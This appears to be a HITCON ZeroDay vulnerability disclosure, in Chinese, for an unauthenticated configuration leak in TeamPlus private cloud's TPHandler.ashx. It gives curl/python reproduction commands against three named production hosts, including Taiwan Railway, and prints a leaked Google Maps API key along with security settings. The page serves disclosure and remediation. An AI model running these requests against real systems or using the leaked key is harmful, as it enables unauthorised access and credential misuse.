互動資通股份有限公司 TeamPlus 私有雲 TPHandler.ashx 無認證多租戶配置洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00650
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通股份有限公司 TeamPlus 私有雲 TPHandler.ashx 無認證多租戶配置洩漏
  • Introduction: 私有雲部署模板的 TPHandler.ashx 端點未加存取控制,任何人無需認證即可取得 93–103 欄位完整系統設定,已在台鐵(tra.com.tw)等三個生產租戶確認,影響 30+ 個私有雲客戶。

處理狀態

目前狀態

公開
Last Update : 2026/08/13
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/10 02:23:02 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/14 13:12:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:55:37 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:55:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:55:38 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 11:24:15 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:14:04 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/07 18:40:23 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/12 10:28:03 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/08/13 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00650
  • 通報者:guan4tou2 (罐頭)
  • 風險:中
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://tra.com.tw/EIM/Common/TPHandler.ashx
https://poc.teamplus.com.tw/Every8d/EIM/Common/TPHandler.ashx
https://demo.every8d.com.tw/TeamplusNetMain/EIM/Common/TPHandler.ashx

敘述

漏洞概述

互動資通 TeamPlus 私有雲平台的 TPHandler.ashx?ASK=getTP 端點在未設定任何存取控制的情況下,向任意訪客回傳包含 93–103 個欄位的完整 JSON 格式系統設定。此問題存在於廠商的統一部署模板,影響全部 30+ 個生產私有雲租戶。

已確認受影響的三個生產租戶(2026-04-27/28 初次確認;2026-05-10 重測全部 live):

租戶 1 — tra.com.tw(臺灣鐵路股份有限公司,國家關鍵基礎設施)

最高風險暴露設定:

  • CheckLicenseIsMsgEncryption: false — 員工通訊加密已停用
  • IsEnableDeviceVerification: false — 裝置驗證已停用
  • MapApiKey: "AIzaSyBcMzJ78g9RK1VOtHCmaCDtoNHtIcTBwhc" — Google Maps API 金鑰洩漏

租戶 2 — poc.teamplus.com.tw/Every8d(互動資通 PoC 環境)

  • PwdPolicy.MinLength: 6(密碼最短僅 6 碼)
  • PwdPolicy.RequireLetter/Number/Symbol: false(無複雜度要求)
  • IsEnableDeviceVerification: false

租戶 3 — demo.every8d.com.tw(互動資通示範環境)

  • IsEnableRemoteControl: true(遠端控制啟用)
  • 完整 SafeSay 服務 URLs 暴露

重現步驟(Live Verified 2026-05-10)

租戶 1:tra.com.tw(台鐵)

curl -s -X POST "https://tra.com.tw/EIM/Common/TPHandler.ashx" \
  -d "ASK=getTP" | python3 -c "
import sys, json
d = json.load(sys.stdin)
c = d.get('Config', d)
sensitive = ['CheckLicenseIsMsgEncryption','IsEnableDeviceVerification','MapApiKey']
for k in sensitive:
    if k in c: print(f'{k}: {c[k]}')
print(f'Total fields: {len(c)}')
"

回應(選取敏感欄位):

CheckLicenseIsMsgEncryption: False
IsEnableDeviceVerification: False
MapApiKey: AIzaSyBcMzJ78g9RK1VOtHCmaCDtoNHtIcTBwhc
Total fields: 93

租戶 2:poc.teamplus.com.tw/Every8d

curl -s -X POST "https://poc.teamplus.com.tw/Every8d/EIM/Common/TPHandler.ashx" \
  -d "ASK=getTP" | python3 -c "
import sys, json
d = json.load(sys.stdin)
c = d.get('Config', d)
p = c.get('PwdSetting',{}).get('PwdPolicy',{})
print('PwdPolicy:', p)
print(f'Total fields: {len(c)}')
"

回應:

PwdPolicy: {'MinLength': 6, 'MaxLength': 30, 'RequireLetter': False, 'RequireNumber': False, 'RequireSymbol': False, 'DisallowLastNPwds': 1}
Total fields: 103

租戶 3:demo.every8d.com.tw

curl -s -X POST "https://demo.every8d.com.tw/TeamplusNetMain/EIM/Common/TPHandler.ashx" \
  -d "ASK=getTP" | python3 -c "
import sys, json
d = json.load(sys.stdin)
c = d.get('Config', d)
print('IsEnableRemoteControl:', c.get('IsEnableRemoteControl'))
print(f'Total fields: {len(c)}')
"

回應:

IsEnableRemoteControl: True
Total fields: 103

已驗證影響

  • ✅ tra.com.tw(台鐵):通訊加密停用 + 裝置驗證停用 + Google Maps API 金鑰洩漏(2026-05-10 LIVE)
  • ✅ poc.teamplus.com.tw:密碼政策弱化(6 碼無複雜度)+ 完整設定洩漏(2026-05-10 LIVE)
  • ✅ demo.every8d.com.tw:遠端控制啟用 + 後端服務 URLs 洩漏(2026-05-10 LIVE)
  • ⚠️ 其他 30+ 個生產租戶:使用相同部署模板,理論上同樣受影響

補充說明

台鐵 tra.com.tw 的通訊加密停用(CheckLicenseIsMsgEncryption: false)代表鐵路員工的即時通訊在無加密保護的情況下傳輸。攻擊者透過此配置資訊可知曉無需破解加密即可攔截通訊內容,大幅降低中間人攻擊的難度。

修補建議

廠商(互動資通):
1. 立即:對 TPHandler.ashx 的 ASK=getTP 請求加入 session/token 驗證
2. 立即:移除 JSON 回應中的敏感欄位(MapApiKey 等不需 pre-login 的資料)
3. 短期:對全部 30+ 個生產租戶統一推送修補
4. 短期:要求各租戶重新設定 Google Maps API 金鑰並設定域名白名單

受影響客戶(台鐵):
1. 立即更換洩漏的 Google Maps API 金鑰
2. 確認並啟用 CheckLicenseIsMsgEncryption(通訊加密)
3. 確認並啟用 IsEnableDeviceVerification(裝置驗證)

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;